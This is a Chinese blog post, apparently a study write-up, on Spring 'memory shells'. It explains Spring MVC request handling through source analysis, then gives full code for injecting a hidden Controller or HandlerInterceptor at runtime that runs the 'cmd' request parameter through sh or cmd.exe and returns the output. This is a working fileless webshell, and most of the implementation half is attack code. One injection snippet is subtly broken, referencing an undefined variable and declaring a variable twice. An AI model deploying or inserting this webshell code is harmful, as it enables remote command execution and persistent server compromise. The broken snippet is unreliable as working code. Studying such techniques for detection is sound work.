Java安全-Spring内存马 Spring基础 放一个spring工作的流程图供参考
dispatch的中文释义是派遣,判断这是一个分发器(用于第一步处理请求)
Handler是什么? Handler是一个Controller的对象和请求方式的组合的一个Object对象
HandleExcutionChains是HandleMapping返回的一个处理执行链,它是对Handle的二次封装,将拦截器关联到一起。然后,在DispatcherServlert中完成了拦截器链对handler的过滤
DispatcherServlet要将一个请求交给哪个特定的Controller,它需要咨询一个Bean–这个Bean的名字为“HandlerMapping”。HandlerMapping是把一个URL指定到一个Controller上,(就像应用系统的web.xml文件使用将URL映射到servlet)。
SpringMVC的执行流程
用户发送请求至前端控制器DispatcherServlet。
DispatcherServlet收到请求调用HandlerMapping处理器映射器。
处理器映射器找到具体的处理器(controller或者handle)(可以根据xml配置、注解进行查找),生成处理器对象及处理器拦截器(如果有则生成)一并返回给DispatcherServlet。
DispatcherServlet调用HandlerAdapter处理器适配器。
HandlerAdapter经过适配调用具体的处理器(Controller,也叫后端控制器)。
Controller执行完成返回ModelAndView。
HandlerAdapter将controller执行结果ModelAndView返回给DispatcherServlet。
DispatcherServlet将ModelAndView传给ViewReslover视图解析器。
ViewReslover解析后返回具体View。
DispatcherServlet根据View进行渲染视图(即将模型数据填充至视图中)。
DispatcherServlet响应用户
几个重要的组件
前端控制器(DispatcherServlet):接收请求,响应结果,相当于电脑的CPU。
处理器映射器(HandlerMapping):根据URL去查找处理器
处理器(Handler):(需要程序员去写代码处理逻辑的)
处理器适配器(HandlerAdapter):会把处理器包装成适配器,这样就可以支持多种类型的处理器,类比笔记本的适配器(适配器模式的应用)
视图解析器(ViewResovler):进行视图解析,多返回的字符串,进行处理,可以解析成对应的页面
Bean Bean 是 Spring 框架的一个核心概念 ,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。
bean 是对象
bean 被 IoC 容器管理
Spring 应用主要是由一个个的 bean 构成的
IOC容器 如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。
IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml、Java注解或Java代码来表示。
ApplicationContext Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者
Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。
因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。
Root Context和Child Context 我们来看看web.xml配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ... <servlet > <servlet-name > spring</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > <init-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/springmvc.xml</param-value > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > spring</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > ...
这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation 参数值配置为/WEB-INF/springmvc.xml。
依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 ``/WEB-INF/-servlet.xml,作为配置文件。因为上面的 是dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml` 配置文件。
每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器。
如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext。
Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中
ContextLoaderListener ContextLoaderListener 主要被用来初始化全局唯一的Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context 实例共享它的 IoC 容器,供其他 Child Context 获取并使用容器中的 bean。
SpringController内存马 环境搭建 环境的配置与版本如下:
SpringBoot2.6.13
JDK8u65
Maven4.0.2
在IDEA中新建项目,选择SpringBoot模块,类型设置为Maven,点击下一步
之后依赖选择SpringWeb,创建即可
新建一个测试用的controller
1 2 3 4 5 6 7 8 9 @Controller public class SpringController { @RequestMapping("/hello") @ResponseBody public String hello () { return "Hello World" ; } }
源码分析 controller注册流程(访问前) 在AbstractHandlerMethodMapping的initHanlderMethods方法处下一个断点,来分析Controller注册流程
看到initHandlerMethods方法,遍历所有bean,传入processCandidateBean方法中来处理bean
跟进processCandidateBean方法中,通过getType方法获取beanType,后续判断该Bean是否为Handler对象,如果是的话,就将其传入detectHandlerMethods方法中
在detectHandlerMethods方法中,调用getMappingForMethod来获取到Map类methods,构成为<Method,RequestMapping>,后续通过遍历methods,调用registerHandlerMethod方法执行了注册Controller的操作
ai了一下这段代码的意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 protected void detectHandlerMethods (Object handler) { Class<?> handlerType = handler instanceof String ? this .obtainApplicationContext().getType((String)handler) : handler.getClass(); if (handlerType != null ) { Class<?> userType = ClassUtils.getUserClass(handlerType); Map<Method, T> methods = MethodIntrospector.selectMethods(userType, (method) -> { try { return this .getMappingForMethod(method, userType); } catch (Throwable ex) { throw new IllegalStateException ("Invalid mapping on handler class [" + userType.getName() + "]: " + method, ex); } }); if (this .logger.isTraceEnabled()) { this .logger.trace(this .formatMappings(userType, methods)); } else if (this .mappingsLogger.isDebugEnabled()) { this .mappingsLogger.debug(this .formatMappings(userType, methods)); } methods.forEach((method, mapping) -> { Method invocableMethod = AopUtils.selectInvocableMethod(method, userType); this .registerHandlerMethod(handler, invocableMethod, mapping); }); } }
总结一下:
该方法的作用是:扫描给定 handler(bean)类的所有方法,找出那些有框架映射(mapping)的处理方法,记录/输出它们的映射信息,并把这些方法注册到处理器映射表中,供请求分发时调用。
持续跟进registerHandlerMethod,最后注册Controller的方法为this.mappingRegistry.register方法
跟到这里发现,只要调用mappingRegistry.register()或RequestMappingHandlerMapping中的registerMapping方法(本质上也是调用mappingRegistry.register()),那么就可以向mappingRegistry中添加HandlerMethod,从而注册内存马;
RequestMappingHandlerMapping中的registerMapping方法
可以看到最终会走到mappingRegistry.register()
查找匹配Handler(访问后第一步) 我们在Controller中下一个断点,走到这里,我们可以看到左下角堆栈信息
进入doDispatch方法
该方法中控制先根据请求寻找Handler,再寻找HandlerAdapter,最后调用handle处理请求
在doDispatch开始处下断点
进入getHandler方法
在getHandler方法中,会寻找我们访问路径所对应的HandlerMapping,其中HandlerMappings中存在五个HandlerMapping,通过迭代器进行遍历,找到匹配的HandlerMapping
继续跟进,走到getHandlerInternal方法
这个mappingRegistry中就存储着我们的路由信息,这里首先对mappingRegistry进行上锁,最后在finally块中,进行解锁,
跟进lookupHandlerMethod方法,这里根据我们访问的路径,获取到了映射关系的键值对
也就是说,我们只需要向mappingRegistry中添加恶意Controller的路由信息,就可以实现注入内存马的最后一步
实现 构造思路 和Tomcat内存马类似,我们需要了解如何动态的注册Controller,思路如下
获取上下文环境
注册恶意Controller
配置路径映射
获取上下文环境 在Tomcat架构中,我们要获取的是StandardContext,里面装载了web.xml配置文件的信息
在Spring中,我们要获取的是WebApplicationContext
WebApplicationContext,是继承于ApplicationContext的一个接口,扩展了ApplicationContext,是专门为Web应用准备的,它允许从相对于Web根目录的路径中装载配置文件完成初始化
servlet容器需要在应用项目启动时,给应用项目初始化一个ServletContext作为公共环境容器存放公共信息,WebApplicationContext(Web应用上下文)被创建后会以键值对形式存放与ServletContext中
WebApplicationContext 是 Spring 在 Web 环境中的核心容器。 它让 Bean 与 Web 容器(ServletContext)打通,实现了 “Spring + Servlet” 的深度融合。 在 Spring MVC 中,会形成 父子容器结构 ,保持业务逻辑与 Web 控制层的解耦
WebApplicationContext上可访问访问父容器的 Service、DAO,下可加载 Controller、HandlerMapping
一个流程图
实际上这里是涉及到很多关于Spring架构的知识的,这里我们不再深入研究了,只需要知道在Tomcat架构下,我们要获取的是StandardContext,在Spring中要获取的是WebApplicationContext,操作WebApplicationContext来达到我们注入controller内存马的目的
获取上下文常用的方法有五种:
ContextLoader
WebApplicationContextUtils
RequestContextUtils
getAttribute
反射获取
ContextLoader 直接通过ContextLoader获取,获取到当前ContextLoader创建的WebApplicationContext(一般ContextLoader会被ban)
1 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils 该工具类的getWebApplicationContext方法也是获取到ContextLoaderListener所创建的ROOTWebApplicationContext
1 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
需要注意的是,在spring 5之后的的WebApplicationContextUtils已经没有getWebApplicationContext方法
RequestContextUtils 通过RequestContextHolder获取request,然后获取servletRequest后通过RequestContextUtils获取ROOTWebApplicationContext
1 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute 用RequestContextHolder方法直接从键值org.springframework.web.servlet.DispatcherServlet.CONTEXT中获取Context即可
1 WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
反射获取 最后也可以直接通过反射获取WebApplicationContext
1 2 3 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
注册Controller 在Spring2.5 - 3.1中使用defaultAnnotationHandlerMapping处理URL映射。在Spring3.1之后使用RequestMappingHandlerMapping方法
在模拟注册Controller时,一般有三种方法
registryMapping 根据上面的源码分析,可以直接将Controller直接注册进registryMapping
现在想要将Controller注册去,那么我们就要获取到registryMapping,而该参数可以直接通过调用WebApplicationContext的getBean方法获取,上面说了怎么获取上下文,因此使用以下代码即可获取registryMapping
1 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
在调用RegistryMapping注册时,需要传入三个参数:RequestMappingInfo、Controller、Method,因此这三个参数是我们所需要构造的
创建RequestMappingInfo,需要传入PatternsRequestCondition(Controller映射的URL)和RequestMethodsRequestCondition(HTTP的请求方法)
1 2 public RequestMappingInfo (@Nullable String name, @Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) { }
1 2 3 PatternsRequestCondition url = new PatternsRequestCondition ("/memShell" );RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null );
恶意Controller就是我们的核心,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @RestController public class InjectedController { public InjectedController () { } public void cmd () throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); response.getWriter().close(); } }
最后需要创建Method,就是我们想要触发的Controller中的方法,这里我们通过反射获取该方法
1 Method method = InjectedController.class.getMethod("cmd" );
最后调用RegistryMapping方法进行注册即可
1 requestMappingHandlerMapping.registerMapping(info, injectedController, method);
detectHandlerMethods 在上面分析注册流程时,detectHandelerMethods中,用getMappingForMethod获取了RequestMappingInfo,然后调用registerHandlerMethod方法进行调用
这里由于detectHandlerMethods为protect作用域,因此需要通过反射调用该方法(在使用该方法注册Controller的时候,我们构造的恶意Controller需要用注解指定路径,例如@RequestMapping("/backdoor"))
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("org.example.springmvc.InjectedController" ).newInstance()); org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods" , Object.class); m1.setAccessible(true ); m1.invoke(requestMappingHandlerMapping, "dynamicController" );
registerHandler 上面两种方法适用于spring3.1之后,RequestMappingHandlerMapping为映射器时。当使用DefaultAnnotationHandlerMapping作为映射器时,可以使用该类顶层父类的registerHandler方法来注册controller,但是不太常用了。
1 2 3 4 5 6 7 8 9 context.getBeanFactory().registerSingleton("dynamicController" , Class.forName("org.example.springmvc.InjectedController" ).newInstance()); org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class); java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler" , String.class, Object.class); m1.setAccessible(true ); m1.invoke(dh, "/favicon" , "dynamicController" );
完整测试代码 在真实环境下,肯定是不是这样注入的,而是通过jsp文件或者反序列化注入,但是Spring默认不支持JSP文件的解析,应该大部分都是通过反序列化注入的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Method;import java.util.Scanner;@Controller public class EvilController { @RequestMapping("/Evil") public void InjectController () throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = evalController.class.getDeclaredMethod("shell" , HttpServletRequest.class, HttpServletResponse.class); PatternsRequestCondition url = new PatternsRequestCondition ("/shell" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, new evalController (), method); } public class evalController { public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } } } }
SpringInterceptor内存马 Interceptor和Tomcat中的Filter过滤器很相似,但是还是有些差别。一般来说,Interceptor用来做日志记录,过滤器则用来拦截非法操作
源码分析 Interceptor流程分析 在doDispatch方法中,调用mppedHandler.applyPreHandle方法
在此处下一个断点
开始调试分析
进入applyPreHandle方法
这个方法会遍历所有的拦截器,依次执行所有拦截器的前置处理方法 preHandle() ,如果任意一个拦截器返回 false,就中断请求流程并执行收尾清理。所有拦截器都放行时,返回 true,允许请求进入 Controller。
这里贴一张图,该图展现了Filter、Controller、Interceptor中方法的执行顺序
SpringMVC中比Tomcat架构多了请求分发和进入拦截器的步骤
Interceptor注册流程 下断点在DispathcerServlet.doDispatch方法中,持续跟进getHandler方法,在该方法中调用了getHandlerExecutionChain方法
获取处理器执行链
跟进getHandlerExecutionChain,该方法遍历取出adapedInterceptor中的Intercepter,如果该interceptor符合条件,就添加到chain中(和Tomcat中的FilterChain也是比较像的)
也是要使用这个addInterceptor方法添加到链子里
我们跟进看一下这个方法
要获取到这个interceptorList执行add方法,注入我们的Interceptor内存马
实现 获取上下文 1 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
获取RequestMappingHandlerMapping 在AbstractHandlerMappiing类中,通过addInterceptor将拦截器添加至chain中。但该类为抽象类,如果遇到抽象类,那么我们应该去找他的实现类RequestMappingHandler
同样的RequestMappingHandlerMapping可以通过getBean方法从上下文中获取
1 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
注册Interceptor 前面在Interceptor注册流程中分析到过,直接通过调用adaptedInterceptors的add方法添加即可
1 2 TestInterceptor evilInterceptor=new TestInterceptor (); adtedinterceptors.add(evilInterceptor);
完整测试代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.stoocea.Interceptor.TestInterceptor;import org.junit.Test;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.ContextLoader;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import java.lang.reflect.Field;import java.util.ArrayList;@Controller public class Evil2Controller { @GetMapping("/evil") @ResponseBody public String getEvilInterceptor () throws Exception{ WebApplicationContext applicationContext=(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)field.get(null )).iterator().next(); WebApplicationContext applicationContext = ContextLoader.getCurrentWebApplicationContext(); AbstractHandlerMapping handlerMapping=applicationContext.getBean("requestMappingHandlerMapping" , AbstractHandlerMapping.class); Field field1=AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); field1.setAccessible(true ); ArrayList<Object> adtedinterceptors =(ArrayList<Object>)field1.get(handlerMapping); TestInterceptor evilInterceptor=new TestInterceptor (); adtedinterceptors.add(evilInterceptor); return "inject sucessfully" ; } }
恶意的Interceptor如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.springframework.web.servlet.HandlerInterceptor;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.io.PrintWriter;import java.util.Scanner;public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String url = request.getRequestURI(); PrintWriter writer = response.getWriter(); if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } return true ; } }
小结 梳理一下 SpringMVC 从 接收到请求 → 匹配 Handler → 执行拦截器与控制器 的全过程
因为对Spring流程没有太多研究,所以感觉学Spring内存马的时候没有Tomcat顺利,比较卡顿,以后会经常反回来看的
参考 Spring WebApplicationContext 介绍-CSDN博客